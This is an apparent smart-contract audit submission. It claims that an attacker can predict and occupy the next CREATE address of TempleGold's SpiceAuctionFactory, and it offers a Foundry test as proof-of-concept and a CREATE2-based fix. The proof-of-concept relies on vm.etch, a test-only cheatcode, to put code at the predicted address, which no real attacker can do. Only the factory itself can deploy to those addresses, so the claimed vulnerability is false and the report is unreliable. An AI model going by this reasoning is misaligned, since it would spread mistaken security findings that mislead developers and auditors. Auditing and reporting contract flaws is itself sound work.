Summary
The SpiceAuctionFactory contract has a vulnerability where an attacker can predict and pre-occupy the address of the next contract deployment, blocking the factory from creating new contracts.
Vulnerability Details
The SpiceAuctionFactory uses a constructor to deploy new SpiceAuction contracts, which is equivalent to when using a create opcode for contract creation.
https://github.com/Cyfrin/2024-07-templegold/blob/57a3e597e9199f9e9e0c26aab2123332eb19cc28/protocol/contracts/templegold/SpiceAuctionFactory.sol#L42
function createAuction(address spiceToken, string memory name) external override onlyElevatedAccess returns (address) {
if (spiceToken == address(0)) { revert CommonEventsAndErrors.InvalidAddress(); }
if (spiceToken == templeGold) { revert CommonEventsAndErrors.InvalidParam(); }
> SpiceAuction spiceAuction = new SpiceAuction(templeGold, spiceToken, daoExecutor, name);
bytes32 pairId = _getPairHash(spiceToken);
deployedAuctions[pairId] = address(spiceAuction);
emit AuctionCreated(pairId, address(spiceAuction));
return address(spiceAuction);
}
So based on the factory's address and its nonce the address is predictable for newly deployed contracts. An attacker can exploit this by deploying their own contract to the predicted address, preventing the factory from deploying new contracts.
The following test (POC) is written in SpiceAuctionFactoryTest contract located tests/forge/templegold/SpiceAuctionFactory.t.sol :
function test_address_prediction_attack() public {
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
uint256 nonce = vm.getNonce(address(factory));
address predictedAddress = address(uint160(uint256(keccak256(abi.encodePacked(
bytes1(0xd6),
bytes1(0x94),
address(factory),
uint8(nonce)
)))));
vm.etch(predictedAddress, type(RandomContract).creationCode);
require(predictedAddress.code.length > 0, "Malicious contract deployment failed");
vm.stopPrank();
vm.startPrank(executor);
console.log("executor: ", executor);
vm.expectRevert();
factory.createAuction(usdcToken, NAME_ONE);
vm.stopPrank();
}
In this test, the attacker predicts the deployment address, deploys a contract there, and blocks the factory from contract deployment.
Impact
This vulnerability allows an attacker to block the SpiceAuctionFactory from creating new auction contracts.
The Impact is Medium because the SpiceAuctionFactoryis disrupted. The Likelihood seems Medium because it seems easy for the attacker, but a new Factory can be easily deployed and used instead of the disrupted one.
Tools Used
Manual review
Recommendations
Use create2opcode, specifying the deployment address with a salt to mitigate address predictability.
Something like:
-function createAuction(address spiceToken, string memory name) external override onlyElevatedAccess returns (address) {
+function createAuction(uint32 salt, address spiceToken, string memory name) external override onlyElevatedAccess returns (address) {
if (spiceToken == address(0)) { revert CommonEventsAndErrors.InvalidAddress(); }
if (spiceToken == templeGold) { revert CommonEventsAndErrors.InvalidParam(); }
//@auditSUBMITED predictable address which can be occupied
- SpiceAuction spiceAuction = new SpiceAuction(templeGold, spiceToken, daoExecutor, name);
+ SpiceAuction spiceAuction = new SpiceAuction{ salt: keccak256(abi.encodePacked(salt, uint32(uint160(tx.origin))))}
+ (templeGold, spiceToken, daoExecutor, name);
bytes32 pairId = _getPairHash(spiceToken);
/// @dev not checking pair address exists to allow overwrite in case of a migration
deployedAuctions[pairId] = address(spiceAuction);
emit AuctionCreated(pairId, address(spiceAuction));
return address(spiceAuction);
}
The idea is taken base on this discussion: https://solodit.xyz/issues/m-2-create2-address-collision-against-an-account-will-allow-complete-draining-of-lending-pools-sherlock-arcadia-git
